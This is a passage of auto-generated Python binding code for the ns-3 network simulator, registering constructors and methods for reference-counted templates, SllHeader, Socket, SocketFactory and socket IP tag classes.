## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> >::SimpleRefCount(ns3::SimpleRefCount<ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter< ns3::PbbAddressBlock > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::PbbAddressBlock, ns3::empty, ns3::DefaultDeleter<ns3::PbbAddressBlock> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3PbbMessage_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbMessage__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> >::SimpleRefCount(ns3::SimpleRefCount<ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter< ns3::PbbMessage > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::PbbMessage, ns3::empty, ns3::DefaultDeleter<ns3::PbbMessage> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3PbbPacket_Ns3Header_Ns3DefaultDeleter__lt__ns3PbbPacket__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> >::SimpleRefCount(ns3::SimpleRefCount<ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter< ns3::PbbPacket > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::PbbPacket, ns3::Header, ns3::DefaultDeleter<ns3::PbbPacket> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3PbbTlv_Ns3Empty_Ns3DefaultDeleter__lt__ns3PbbTlv__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> >::SimpleRefCount(ns3::SimpleRefCount<ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter< ns3::PbbTlv > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::PbbTlv, ns3::empty, ns3::DefaultDeleter<ns3::PbbTlv> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3QueueItem_Ns3Empty_Ns3DefaultDeleter__lt__ns3QueueItem__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::SimpleRefCount(ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter< ns3::QueueItem > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter< ns3::TraceSourceAccessor > > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3SllHeader_methods(root_module, cls):
## sll-header.h (module 'network'): ns3::SllHeader::SllHeader(ns3::SllHeader const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SllHeader const &', 'arg0')])
## sll-header.h (module 'network'): ns3::SllHeader::SllHeader() [constructor]
cls.add_constructor([])
## sll-header.h (module 'network'): uint32_t ns3::SllHeader::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_virtual=True)
## sll-header.h (module 'network'): uint16_t ns3::SllHeader::GetArpType() const [member function]
cls.add_method('GetArpType',
'uint16_t',
[],
is_const=True)
## sll-header.h (module 'network'): ns3::TypeId ns3::SllHeader::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## sll-header.h (module 'network'): ns3::SllHeader::PacketType ns3::SllHeader::GetPacketType() const [member function]
cls.add_method('GetPacketType',
'ns3::SllHeader::PacketType',
[],
is_const=True)
## sll-header.h (module 'network'): uint32_t ns3::SllHeader::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## sll-header.h (module 'network'): static ns3::TypeId ns3::SllHeader::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## sll-header.h (module 'network'): void ns3::SllHeader::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## sll-header.h (module 'network'): void ns3::SllHeader::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_const=True, is_virtual=True)
## sll-header.h (module 'network'): void ns3::SllHeader::SetArpType(uint16_t arphdType) [member function]
cls.add_method('SetArpType',
'void',
[param('uint16_t', 'arphdType')])
## sll-header.h (module 'network'): void ns3::SllHeader::SetPacketType(ns3::SllHeader::PacketType type) [member function]
cls.add_method('SetPacketType',
'void',
[param('ns3::SllHeader::PacketType', 'type')])
return
def register_Ns3Socket_methods(root_module, cls):
## socket.h (module 'network'): ns3::Socket::Socket(ns3::Socket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Socket const &', 'arg0')])
## socket.h (module 'network'): ns3::Socket::Socket() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): int ns3::Socket::Bind(ns3::Address const & address) [member function]
cls.add_method('Bind',
'int',
[param('ns3::Address const &', 'address')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Bind() [member function]
cls.add_method('Bind',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Bind6() [member function]
cls.add_method('Bind6',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::BindToNetDevice(ns3::Ptr<ns3::NetDevice> netdevice) [member function]
cls.add_method('BindToNetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'netdevice')],
is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Close() [member function]
cls.add_method('Close',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Connect(ns3::Address const & address) [member function]
cls.add_method('Connect',
'int',
[param('ns3::Address const &', 'address')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): static ns3::Ptr<ns3::Socket> ns3::Socket::CreateSocket(ns3::Ptr<ns3::Node> node, ns3::TypeId tid) [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::TypeId', 'tid')],
is_static=True)
## socket.h (module 'network'): bool ns3::Socket::GetAllowBroadcast() const [member function]
cls.add_method('GetAllowBroadcast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Socket::GetBoundNetDevice() [member function]
cls.add_method('GetBoundNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[])
## socket.h (module 'network'): ns3::Socket::SocketErrno ns3::Socket::GetErrno() const [member function]
cls.add_method('GetErrno',
'ns3::Socket::SocketErrno',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::Socket::GetIpTos() const [member function]
cls.add_method('GetIpTos',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): uint8_t ns3::Socket::GetIpTtl() const [member function]
cls.add_method('GetIpTtl',
'uint8_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::Socket::GetIpv6HopLimit() const [member function]
cls.add_method('GetIpv6HopLimit',
'uint8_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::Socket::GetIpv6Tclass() const [member function]
cls.add_method('GetIpv6Tclass',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Node> ns3::Socket::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::GetPeerName(ns3::Address & address) const [member function]
cls.add_method('GetPeerName',
'int',
[param('ns3::Address &', 'address')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::Socket::GetPriority() const [member function]
cls.add_method('GetPriority',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): uint32_t ns3::Socket::GetRxAvailable() const [member function]
cls.add_method('GetRxAvailable',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::GetSockName(ns3::Address & address) const [member function]
cls.add_method('GetSockName',
'int',
[param('ns3::Address &', 'address')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): ns3::Socket::SocketType ns3::Socket::GetSocketType() const [member function]
cls.add_method('GetSocketType',
'ns3::Socket::SocketType',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::Socket::GetTxAvailable() const [member function]
cls.add_method('GetTxAvailable',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## socket.h (module 'network'): static ns3::TypeId ns3::Socket::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): static uint8_t ns3::Socket::IpTos2Priority(uint8_t ipTos) [member function]
cls.add_method('IpTos2Priority',
'uint8_t',
[param('uint8_t', 'ipTos')],
is_static=True)
## socket.h (module 'network'): void ns3::Socket::Ipv6JoinGroup(ns3::Ipv6Address address, ns3::Socket::Ipv6MulticastFilterMode filterMode, std::vector<ns3::Ipv6Address,std::allocator<ns3::Ipv6Address> > sourceAddresses) [member function]
cls.add_method('Ipv6JoinGroup',
'void',
[param('ns3::Ipv6Address', 'address'), param('ns3::Socket::Ipv6MulticastFilterMode', 'filterMode'), param('std::vector< ns3::Ipv6Address >', 'sourceAddresses')],
is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::Ipv6JoinGroup(ns3::Ipv6Address address) [member function]
cls.add_method('Ipv6JoinGroup',
'void',
[param('ns3::Ipv6Address', 'address')],
is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::Ipv6LeaveGroup() [member function]
cls.add_method('Ipv6LeaveGroup',
'void',
[],
is_virtual=True)
## socket.h (module 'network'): bool ns3::Socket::IsIpRecvTos() const [member function]
cls.add_method('IsIpRecvTos',
'bool',
[],
is_const=True)
## socket.h (module 'network'): bool ns3::Socket::IsIpRecvTtl() const [member function]
cls.add_method('IsIpRecvTtl',
'bool',
[],
is_const=True)
## socket.h (module 'network'): bool ns3::Socket::IsIpv6RecvHopLimit() const [member function]
cls.add_method('IsIpv6RecvHopLimit',
'bool',
[],
is_const=True)
## socket.h (module 'network'): bool ns3::Socket::IsIpv6RecvTclass() const [member function]
cls.add_method('IsIpv6RecvTclass',
'bool',
[],
is_const=True)
## socket.h (module 'network'): bool ns3::Socket::IsRecvPktInfo() const [member function]
cls.add_method('IsRecvPktInfo',
'bool',
[],
is_const=True)
## socket.h (module 'network'): int ns3::Socket::Listen() [member function]
cls.add_method('Listen',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv(uint32_t maxSize, uint32_t flags) [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv() [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[])
## socket.h (module 'network'): int ns3::Socket::Recv(uint8_t * buf, uint32_t size, uint32_t flags) [member function]
cls.add_method('Recv',
'int',
[param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')])
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(uint32_t maxSize, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'ns3::Ptr< ns3::Packet >',
[param('ns3::Address &', 'fromAddress')])
## socket.h (module 'network'): int ns3::Socket::RecvFrom(uint8_t * buf, uint32_t size, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'int',
[param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')])
## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p')])
## socket.h (module 'network'): int ns3::Socket::Send(uint8_t const * buf, uint32_t size, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')])
## socket.h (module 'network'): int ns3::Socket::SendTo(ns3::Ptr<ns3::Packet> p, uint32_t flags, ns3::Address const & toAddress) [member function]
cls.add_method('SendTo',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags'), param('ns3::Address const &', 'toAddress')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::SendTo(uint8_t const * buf, uint32_t size, uint32_t flags, ns3::Address const & address) [member function]
cls.add_method('SendTo',
'int',
[param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address const &', 'address')])
## socket.h (module 'network'): void ns3::Socket::SetAcceptCallback(ns3::Callback<bool, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionRequest, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> newConnectionCreated) [member function]
cls.add_method('SetAcceptCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionRequest'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'newConnectionCreated')])
## socket.h (module 'network'): bool ns3::Socket::SetAllowBroadcast(bool allowBroadcast) [member function]
cls.add_method('SetAllowBroadcast',
'bool',
[param('bool', 'allowBroadcast')],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::SetCloseCallbacks(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> normalClose, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> errorClose) [member function]
cls.add_method('SetCloseCallbacks',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'normalClose'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'errorClose')])
## socket.h (module 'network'): void ns3::Socket::SetConnectCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionSucceeded, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionFailed) [member function]
cls.add_method('SetConnectCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionSucceeded'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionFailed')])
## socket.h (module 'network'): void ns3::Socket::SetDataSentCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> dataSent) [member function]
cls.add_method('SetDataSentCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'dataSent')])
## socket.h (module 'network'): void ns3::Socket::SetIpRecvTos(bool ipv4RecvTos) [member function]
cls.add_method('SetIpRecvTos',
'void',
[param('bool', 'ipv4RecvTos')])
## socket.h (module 'network'): void ns3::Socket::SetIpRecvTtl(bool ipv4RecvTtl) [member function]
cls.add_method('SetIpRecvTtl',
'void',
[param('bool', 'ipv4RecvTtl')])
## socket.h (module 'network'): void ns3::Socket::SetIpTos(uint8_t ipTos) [member function]
cls.add_method('SetIpTos',
'void',
[param('uint8_t', 'ipTos')])
## socket.h (module 'network'): void ns3::Socket::SetIpTtl(uint8_t ipTtl) [member function]
cls.add_method('SetIpTtl',
'void',
[param('uint8_t', 'ipTtl')],
is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::SetIpv6HopLimit(uint8_t ipHopLimit) [member function]
cls.add_method('SetIpv6HopLimit',
'void',
[param('uint8_t', 'ipHopLimit')],
is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::SetIpv6RecvHopLimit(bool ipv6RecvHopLimit) [member function]
cls.add_method('SetIpv6RecvHopLimit',
'void',
[param('bool', 'ipv6RecvHopLimit')])
## socket.h (module 'network'): void ns3::Socket::SetIpv6RecvTclass(bool ipv6RecvTclass) [member function]
cls.add_method('SetIpv6RecvTclass',
'void',
[param('bool', 'ipv6RecvTclass')])
## socket.h (module 'network'): void ns3::Socket::SetIpv6Tclass(int ipTclass) [member function]
cls.add_method('SetIpv6Tclass',
'void',
[param('int', 'ipTclass')])
## socket.h (module 'network'): void ns3::Socket::SetPriority(uint8_t priority) [member function]
cls.add_method('SetPriority',
'void',
[param('uint8_t', 'priority')])
## socket.h (module 'network'): void ns3::Socket::SetRecvCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> arg0) [member function]
cls.add_method('SetRecvCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'arg0')])
## socket.h (module 'network'): void ns3::Socket::SetRecvPktInfo(bool flag) [member function]
cls.add_method('SetRecvPktInfo',
'void',
[param('bool', 'flag')])
## socket.h (module 'network'): void ns3::Socket::SetSendCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> sendCb) [member function]
cls.add_method('SetSendCallback',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'sendCb')])
## socket.h (module 'network'): int ns3::Socket::ShutdownRecv() [member function]
cls.add_method('ShutdownRecv',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): int ns3::Socket::ShutdownSend() [member function]
cls.add_method('ShutdownSend',
'int',
[],
is_pure_virtual=True, is_virtual=True)
## socket.h (module 'network'): void ns3::Socket::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## socket.h (module 'network'): bool ns3::Socket::IsManualIpTtl() const [member function]
cls.add_method('IsManualIpTtl',
'bool',
[],
is_const=True, visibility='protected')
## socket.h (module 'network'): bool ns3::Socket::IsManualIpv6HopLimit() const [member function]
cls.add_method('IsManualIpv6HopLimit',
'bool',
[],
is_const=True, visibility='protected')
## socket.h (module 'network'): bool ns3::Socket::IsManualIpv6Tclass() const [member function]
cls.add_method('IsManualIpv6Tclass',
'bool',
[],
is_const=True, visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyConnectionFailed() [member function]
cls.add_method('NotifyConnectionFailed',
'void',
[],
visibility='protected')
## socket.h (module 'network'): bool ns3::Socket::NotifyConnectionRequest(ns3::Address const & from) [member function]
cls.add_method('NotifyConnectionRequest',
'bool',
[param('ns3::Address const &', 'from')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyConnectionSucceeded() [member function]
cls.add_method('NotifyConnectionSucceeded',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyDataRecv() [member function]
cls.add_method('NotifyDataRecv',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyDataSent(uint32_t size) [member function]
cls.add_method('NotifyDataSent',
'void',
[param('uint32_t', 'size')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyErrorClose() [member function]
cls.add_method('NotifyErrorClose',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyNewConnectionCreated(ns3::Ptr<ns3::Socket> socket, ns3::Address const & from) [member function]
cls.add_method('NotifyNewConnectionCreated',
'void',
[param('ns3::Ptr< ns3::Socket >', 'socket'), param('ns3::Address const &', 'from')],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifyNormalClose() [member function]
cls.add_method('NotifyNormalClose',
'void',
[],
visibility='protected')
## socket.h (module 'network'): void ns3::Socket::NotifySend(uint32_t spaceAvailable) [member function]
cls.add_method('NotifySend',
'void',
[param('uint32_t', 'spaceAvailable')],
visibility='protected')
return
def register_Ns3SocketFactory_methods(root_module, cls):
## socket-factory.h (module 'network'): ns3::SocketFactory::SocketFactory(ns3::SocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketFactory const &', 'arg0')])
## socket-factory.h (module 'network'): ns3::SocketFactory::SocketFactory() [constructor]
cls.add_constructor([])
## socket-factory.h (module 'network'): ns3::Ptr<ns3::Socket> ns3::SocketFactory::CreateSocket() [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_pure_virtual=True, is_virtual=True)
## socket-factory.h (module 'network'): static ns3::TypeId ns3::SocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3SocketIpTosTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketIpTosTag::SocketIpTosTag(ns3::SocketIpTosTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketIpTosTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketIpTosTag::SocketIpTosTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketIpTosTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketIpTosTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketIpTosTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketIpTosTag::GetTos() const [member function]
cls.add_method('GetTos',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpTosTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketIpTosTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpTosTag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_const=True, is_virtual=True)
## socket.h (module 'network'): void ns3::SocketIpTosTag::SetTos(uint8_t tos) [member function]
cls.add_method('SetTos',
'void',
[param('uint8_t', 'tos')])
return
def register_Ns3SocketIpTtlTag_methods(root_module, cls):
## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag(ns3::SocketIpTtlTag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SocketIpTtlTag const &', 'arg0')])
## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag() [constructor]
cls.add_constructor([])
## socket.h (module 'network'): void ns3::SocketIpTtlTag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_virtual=True)
## socket.h (module 'network'): ns3::TypeId ns3::SocketIpTtlTag::GetInstanceTypeId() const [member function]
cls.add_method('GetInstanceTypeId',
'ns3::TypeId',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint32_t ns3::SocketIpTtlTag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True, is_virtual=True)
## socket.h (module 'network'): uint8_t ns3::SocketIpTtlTag::GetTtl() const [member function]
cls.add_method('GetTtl',
'uint8_t',
[],
is_const=True)
## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpTtlTag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## socket.h (module 'network'): void ns3::SocketIpTtlTag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True, is_virtual=True)
